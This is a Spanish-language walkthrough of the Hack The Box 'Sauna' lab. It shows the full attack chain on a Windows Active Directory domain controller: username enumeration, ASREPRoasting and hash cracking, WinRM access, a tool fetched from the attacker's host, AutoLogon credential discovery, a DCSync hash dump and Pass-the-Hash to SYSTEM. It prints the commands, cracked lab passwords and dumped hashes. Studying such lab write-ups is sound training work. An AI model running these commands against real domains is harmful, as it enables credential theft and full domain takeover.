Sauna
Dificultad: Easy - OS: Windows
¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info
La máquina Sauna es un entorno de laboratorio diseñado para evaluar habilidades básicas en sistemas Windows y entornos de Active Directory (AD). El objetivo principal es comprometer una infraestructura corporativa simulada que incluye un controlador de dominio, utilizando vectores clásicos de ataque. El proceso comienza con una fase de enumeración, donde se identifican servicios activos como LDAP, SMB, y HTTP. A partir del contenido del sitio web, se extraen nombres completos de empleados, lo que permite construir posibles combinaciones de nombres de usuario. Con estos, se lleva a cabo un ataque ASREPRoasting, técnica que explota cuentas con Kerberos sin preautenticación, permitiendo la recolección de hashes que pueden ser forzados fuera de línea.
Una vez obtenidas las credenciales de acceso inicial, se establece una sesión remota mediante WinRM. Desde esta posición, se profundiza la post-explotación mediante herramientas de enumeración como WinPEAS, que revela la presencia de otra cuenta con inicio automático y credenciales expuestas en el sistema. Esta nueva cuenta, al igual que la anterior, cuenta con acceso remoto, pero además posee privilegios ampliados en el dominio. Utilizando BloodHound, se visualizan las relaciones y permisos dentro del AD, detectando que esta cuenta tiene derechos de replicación de cambios (DS-Replication-Get-Changes-All), lo que abre la posibilidad de ejecutar un ataque DCSync.
El ataque DCSync se lleva a cabo usando secretsdump.py
, lo que permite extraer los hashes del administrador del dominio sin necesidad de acceder directamente al controlador. Con el hash del administrador, se implementa un ataque Pass-The-Hash mediante psexec.py
, logrando así una shell con privilegios de NT AUTHORITY\SYSTEM.
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.175
📌 Parámetros
sCV
:-sC
→ Ejecuta scripts de detección predeterminados → Usa los scripts denmap
ubicados en/usr/share/nmap/scripts/
, los cuales buscan información adicional en los puertos abiertos.-sV
→ Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n
→ No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open
→ Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4
→ Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
-v
→ Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultado:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-11 02:58:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-11T02:58:34
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h51m03s
En síntesis:
PORT | STATE | SERVICE | VERSION
53/tcp | open | domain | Simple DNS Plus
80/tcp | open | http | Microsoft IIS httpd 10.0
88/tcp | open | kerberos-sec | Microsoft Windows Kerberos
135/tcp | open | msrpc | Microsoft Windows RPC
139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn
389/tcp | open | ldap | Microsoft Windows Active Directory LDAP
445/tcp | open | microsoft-ds | Unknown
464/tcp | open | kpasswd5 | Unknown
593/tcp | open | ncacn_http | Microsoft Windows RPC over HTTP 1.0
636/tcp | open | tcpwrapped | Unknown
3268/tcp | open | ldap | Microsoft Windows Active Directory LDAP
3269/tcp | open | tcpwrapped | Unknown
5985/tcp | open | http | Microsoft HTTPAPI httpd 2.0
Primero vamos a extraer el nombre de dominio para agregarlo al /etc/hosts
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# nxc smb 10.10.10.175
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# echo "10.10.10.175 EGOTISTICAL-BANK.LOCAL" >> /etc/hosts
Inspección del sitio Web
Si recorremos la página web nos vamos a encontrar con algunos nombres de usuarios que podemos aprovechar para hacer un diccionario e intentar un ataque con Kerbrute para hallar algún nombre válido en el dominio.
┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# cat users.txt
Steven Kerb
Hugo Bear
Bowie Taylor
Sophie Driver
Shaun Coins
Fergus Smith
┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# node ./generator.js -f ./users.txt --output ./usernames.txt
[*] Wordlist saved in ./usernames.txt
Provided Wordlist lines: 6
Output Wordlist lines: 159
Cuando un usuario no existe, el KDC responde con un error específico del protocolo (KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN
), indicando que el principal es desconocido. En cambio, si el usuario sí existe pero requiere pre autenticación, el KDC devuelve un error distinto (KRB5KDC_ERR_PREAUTH_REQUIRED
). Esta distinción permite a Kerbrute identificar cuáles entradas en la lista corresponden a usuarios válidos en el dominio. Adicionalmente, si una cuenta está configurada sin la exigencia de pre autenticación —es decir, tiene deshabilitada la opción DONT_REQ_PREAUTH
—, el KDC responderá directamente con un ticket cifrado que puede ser utilizado para llevar a cabo un ataque de tipo ASREPRoasting, donde el atacante puede intentar romper el hash del ticket fuera de línea.
📌¿Qué es el KDC y el TGT?
KDC (Key Distribution Center) es un componente fundamental del protocolo Kerberos, utilizado ampliamente en entornos Windows con Active Directory. Su función principal es emitir y gestionar tickets de autenticación para los usuarios y servicios del dominio. El KDC está compuesto por dos servicios:
AS (Authentication Service): Se encarga de autenticar inicialmente al usuario.
TGS (Ticket Granting Service): Entrega tickets de acceso a servicios dentro del dominio.
Cuando un usuario desea autenticarse, contacta primero con el AS, que valida su identidad y, si todo es correcto, le entrega un TGT (Ticket Granting Ticket). Este TGT está cifrado con la clave secreta del servicio krbtgt
(cuenta especial en Active Directory) y sirve como "pasaporte" del usuario dentro del dominio. El usuario usará luego ese TGT para pedir tickets de servicio específicos al TGS.
¿Qué relación tiene esto con el ataque ASREPRoasting?
Normalmente, el KDC requiere pre autenticación: el usuario debe enviar un timestamp cifrado con su clave derivada de la contraseña. Si es válido, el KDC devuelve el AS_REP
con el TGT. Sin embargo, si una cuenta tiene deshabilitada la preautenticación (es decir, tiene la bandera DONT_REQ_PREAUTH
activada), cualquiera puede solicitarle un TGT sin conocer su contraseña.
El KDC entonces responde con un AS_REP
que incluye un bloque cifrado con la clave derivada de la contraseña del usuario, y ese bloque es precisamente el que se extrae y se ataca mediante fuerza bruta. Esto es el núcleo del ataque ASREPRoasting: obtener ese paquete sin necesidad de interacción directa ni credenciales válidas.
┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# kerbrute userenum --dc 10.10.10.175 --domain EGOTISTICAL-BANK.LOCAL usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/10/25 - Ronnie Flathers @ropnop
2025/05/10 22:45:55 > Using KDC(s):
2025/05/10 22:45:55 > 10.10.10.175:88
2025/05/10 22:45:58 > [+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:96ea6c54797815d4695046b5e7116bb4$756c02c1d3d8d772a28502f4f11ded2e01a91a4d1042944
29247fd4f960d8c696287ab66cf30bebd410658144a3d5a853d1ee8ec4aecdb2e2115bec04b725617e80aa8739cfa3b96a68bf16c7561f448a85e31289cb
5582d170058808b3c7b670dab56e7a5b4c281ba96f1bea62b0083a7d179d2a7d42b85fa32f87cb7107447577faa498ce52c2b370a4ab9597bc1b3b045cbc
50f71b9b91d256b3eab71d9470bf53062e7e5950617b1221d4c900ebe698f3dcddeffa0234bc80e600134b621dbc71c31d3b6fc148dac16aa174d074d9ac
0772dd936a46cc2ee06f58c3b27fbd1105c64f077a721b4a50be22d379f843bf01ac7601465e821abd99f3a9105ade5fbfebff7072b39879bd394c39b36b
fc7e955a50682
2025/05/10 22:45:58 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2025/05/10 22:45:59 > Done! Tested 161 usernames (1 valid) in 3.988 seconds
ASREPRoasting attack
Este proceso de obtención del AS-REP
cifrado y su posterior intento de descifrado con diccionarios se conoce coloquialmente como TGT Cracking. A pesar del nombre, el objetivo no es romper el TGT en sí, que está cifrado con la clave del servicio krbtgt
, sino descifrar el bloque cifrado con la clave derivada de la contraseña del usuario objetivo. Esto permite descubrir contraseñas débiles sin interacción adicional con el sistema remoto, lo que representa un vector silencioso y eficaz dentro de una infraestructura de Active Directory mal configurada.
┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.10.10.175 -no-pass -format john -outputfile hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for fsmith
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and
scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(d
atetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL:abef1afcb4c80fa252d3599016b8a0df$3e65c5d43fc4e7576e463b53606eef511bfab1d5a9242da83d2
34915df47c5c8fc4ed9f11dcc1a73b0e56566595306d72c67fc1ecc2933095bcdb20b6537774b3e6e3077379479b6fb6664ba07bde7161cc9cd34580857e6
39d0e3ac7d76fc9e4b62cd6ed554c19114dc0a1eca33e7b794387558982f99333a5bd0246016b63e24b8c1c828e45901403ec513e5a23211db491bfe9a922
d74dcc1c1737f31abafdcfea4ab9c61ffa07963b38ae83d25255d35e3d8920ad1748434769767ada6adca288d6ebcd1287c1c057385a38eed15acf6329862
39a49d73485567613a40b2c00ede3aa370b68f405a945e1d27503311b1d905826422fcc3853d2b480925b9
📌Parámetros
EGOTISTICAL-BANK.LOCAL/fsmith
: dominio y nombre de usuario objetivo.-dc-ip 10.10.10.175
: IP del Domain Controller (donde está corriendo el KDC).-no-pass
: indica que no se usará contraseña para autenticarse (clave en este ataque, ya que la cuenta no requiere preautenticación).-format john
: genera el hash en formato compatible con John the Ripper (para romperlo offline).-outputfile hashes.txt
: guarda los hashes extraídos en ese archivo.
TGT Cracking
Llegó el momento de descifrar la contraseña con John the Ripper
┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# john -w=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:13 DONE (2025-05-10 23:01) 0.07518g/s 792406p/s 792406c/s 792406C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Bingo! ( ͡• ͜ʖ ͡•)
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh EGOTISTICAL-BANK.LOCAL fsmith 'Thestrokes23'
[*] Probando credenciales contra EGOTISTICAL-BANK.LOCAL con usuario 'fsmith'...
--- Probando smb ---
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
--- Probando ldap ---
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP 10.10.10.175 389 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
--- Probando winrm ---
WINRM 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.10.175 135 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
RPC 10.10.10.175 135 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
--- Probando ftp ---
--- Probando ssh ---
System Enumeration con WinPeas.exe
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# ls
AD-Username-Generator kerbrute winPEASx64.exe
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.175 - - [11/May/2025 00:10:31] "GET /winPEASx64.exe HTTP/1.1" 200 -
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# evil-winrm -i EGOTISTICAL-BANK.LOCAL -u fsmith -p Thestrokes23
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..
*Evil-WinRM* PS C:\Users\FSmith> cd Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> Invoke-WebRequest -Uri http://10.10.14.20:80/winPEASx64.exe -OutFile winPEASx64.exe
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/10/2025 7:55 PM 34 user.txt
-a---- 5/11/2025 4:01 AM 10144256 winPEASx64.exe
*Evil-WinRM* PS C:\Users\FSmith\Desktop> ./winPEASx64.exe
Display information about local users
Computer Name : SAUNA
User Name : Administrator
User Id : 500
Is Enabled : True
User Type : Administrator
Comment : Built-in account for administering the computer/domain
Last Logon : 5/10/2025 7:55:07 PM
Logons Count : 120
Password Last Set : 7/26/2021 9:16:16 AM
=================================================================================================
Computer Name : SAUNA
User Name : Guest
User Id : 501
Is Enabled : False
User Type : Guest
Comment : Built-in account for guest access to the computer/domain
Last Logon : 1/1/1970 12:00:00 AM
Logons Count : 0
Password Last Set : 1/1/1970 12:00:00 AM
=================================================================================================
Computer Name : SAUNA
User Name : krbtgt
User Id : 502
Is Enabled : False
User Type : User
Comment : Key Distribution Center Service Account
Last Logon : 1/1/1970 12:00:00 AM
Logons Count : 0
Password Last Set : 1/22/2020 10:45:30 PM
=================================================================================================
Computer Name : SAUNA
User Name : HSmith
User Id : 1103
Is Enabled : True
User Type : User
Comment :
Last Logon : 1/1/1970 12:00:00 AM
Logons Count : 0
Password Last Set : 1/22/2020 10:54:34 PM
=================================================================================================
Computer Name : SAUNA
User Name : FSmith
User Id : 1105
Is Enabled : True
User Type : User
Comment :
Last Logon : 5/11/2025 2:47:28 AM
Logons Count : 11
Password Last Set : 1/23/2020 9:45:19 AM
=================================================================================================
Computer Name : SAUNA
User Name : svc_loanmgr
User Id : 1108
Is Enabled : True
User Type : User
Comment :
Last Logon : 1/1/1970 12:00:00 AM
Logons Count : 0
Password Last Set : 1/24/2020 4:48:31 PM
=================================================================================================
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
DCSync-Attack
Con estas nuevas credenciales vamos a invocar a nuestro amigo Bloodhound para poder ver los privilegios que tiene el usuario svc_loanmgr
en el dominio y encontrar un camino para la escalada de privilegios. Si no conoces esta herramienta a continuación te dejo un artículo introductorio para que puedas comprender su uso
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -v --zip -c All -dc EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: session, psremote, localadmin, container, acl, trusts, dcom, objectprops, rdp, group
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: EGOTISTICAL-BANK.LOCAL
INFO: Found AD domain: egotistical-bank.local
DEBUG: Found primary DC: SAUNA.EGOTISTICAL-BANK.LOCAL
DEBUG: Found Global Catalog server: SAUNA.EGOTISTICAL-BANK.LOCAL
DEBUG: Found KDC for enumeration domain: SAUNA.EGOTISTICAL-BANK.LOCAL
DEBUG: Using supplied domain controller as KDC
INFO: Getting TGT for user
DEBUG: Trying to connect to KDC at EGOTISTICAL-BANK.LOCAL:88
DEBUG: Trying to connect to KDC at EGOTISTICAL-BANK.LOCAL:88
[.............]
DEBUG: Resolved SID to name: FSMITH@EGOTISTICAL-BANK.LOCAL
DEBUG: Resolved SID to name: SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL
DEBUG: Write worker obtained a None value, exiting
DEBUG: Write worker is done, closing files
INFO: Done in 00M 47S
INFO: Compressing output into 20250511003630_bloodhound.zip
📌Parámetros
bloodhound-python
: ejecuta el recolector Python para BloodHound (versión que no requiere cargar un ejecutable en la máquina objetivo).
-u svc_loanmgr
: usuario que se usará para autenticarse en el dominio.-p 'Moneymakestheworldgoround!'
: contraseña del usuario. Va entre comillas para manejar posibles caracteres especiales o espacios.-d EGOTISTICAL-BANK.LOCAL
: nombre completo del dominio de Active Directory.
-v
: modo verbose, muestra salida detallada en la terminal mientras se realiza la recolección.--zip
: comprime los archivos JSON generados en un.zip
, que luego podés importar directamente en la interfaz de BloodHound.
-c All
: especifica qué tipos de datos recolectar.All
significa que se ejecutarán todos los métodos disponibles: usuarios locales, ACLs, sesiones, relaciones de grupos, etc.-dc EGOTISTICAL-BANK.LOCAL
: FQDN (nombre completo) del Domain Controller contra el que se realizarán las consultas LDAP y Kerberos.-ns 10.10.10.175
: dirección IP del servidor DNS (generalmente el mismo que el Domain Controller en entornos AD). Se usa para resolver nombres del dominio si el sistema local no puede hacerlo.
Este comando recolecta toda la información relevante del dominio EGOTISTICAL-BANK.LOCAL
utilizando la cuenta svc_loanmgr
y genera un archivo .zip
que luego puede ser cargado en BloodHound para visualizar relaciones, permisos y posibles caminos de escalamiento de privilegios.
Este archivo zip lo pasamos a la gui de bloodhound de la siguiente manera
Ahora podemos usar la opción Find Shortest Paths to Domain Admins
para visualizar los nodos del DC
Luego si filtramos por Find Principals with DCSync Rights
vamos a ver que nuestro usuario cuenta con privilegios DCSync en el dominio, esto nos permite deducir que podemos implementar un ataque DCSync para obtener los hashes de todas las cuentas del dominio junto con la de los administradores
El ataque DCSync permite a un atacante simular el comportamiento de un controlador de dominio legítimo. Para ello, se emiten peticiones al Domain Controller utilizando las funciones de replicación de Active Directory, como si el atacante necesitara sincronizarse con el resto del dominio. Estas peticiones acceden a la base de datos NTDS.dit, que contiene información crítica sobre los objetos del dominio, incluyendo los hashes NTLM de todas las cuentas: usuarios, administradores, y servicios. Al realizar esta solicitud desde una cuenta con los privilegios adecuados, el controlador de dominio responde con los datos de replicación, sin necesidad de comprometer el servidor físico ni ejecutar código malicioso sobre él. Nota: el nombre del privilegio que otorga la capacidad de ejecutar un ataque DCSync es GetChangesAll, lo que permite replicar la base de datos de Active Directory y extraer hashes de cualquier cuenta.
📌GetChangesAll
El permiso GetChangesAll es un privilegio extendido en Active Directory que permite a una cuenta replicar todos los atributos de los objetos del dominio, incluidos los hashes de contraseña de los usuarios.
Este permiso es uno de los tres necesarios para realizar un ataque DCSync, en el cual un atacante simula ser un controlador de dominio y solicita al Domain Controller la replicación de la base de datos del AD (NTDS.dit). Si una cuenta posee este privilegio —especialmente si se combina con GetChanges
y Replicating Directory Changes
—, puede extraer de forma remota los hashes de cualquier cuenta del dominio, incluidos los de administradores.
En resumen, GetChangesAll otorga control total sobre la replicación de objetos sensibles del dominio, y representa un riesgo crítico si está asignado a cuentas no administrativas o de servicio.
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:3bcc17de730179a51887a38acee513f3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:60d2f59f96b3e302e9c241094f86ed46b8662a89155063e77a8796fd6eba42df
SAUNA$:aes128-cts-hmac-sha1-96:de3133e216f372b3ec4dff4417659009
SAUNA$:des-cbc-md5:a70b4313e3752a58
[*] Cleaning up...
Autenticación con Pass-the-Hash
┌──(root㉿kali)-[/home/kali/Documents/HTB/SAUNA]
└─# impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file aggbqeox.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service KsKh on 10.10.10.175.....
[*] Starting service KsKh.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b223e35*************************
C:\Windows\system32> type C:\Users\fsmith\Desktop\user.txt
4cafefb*************************
Last updated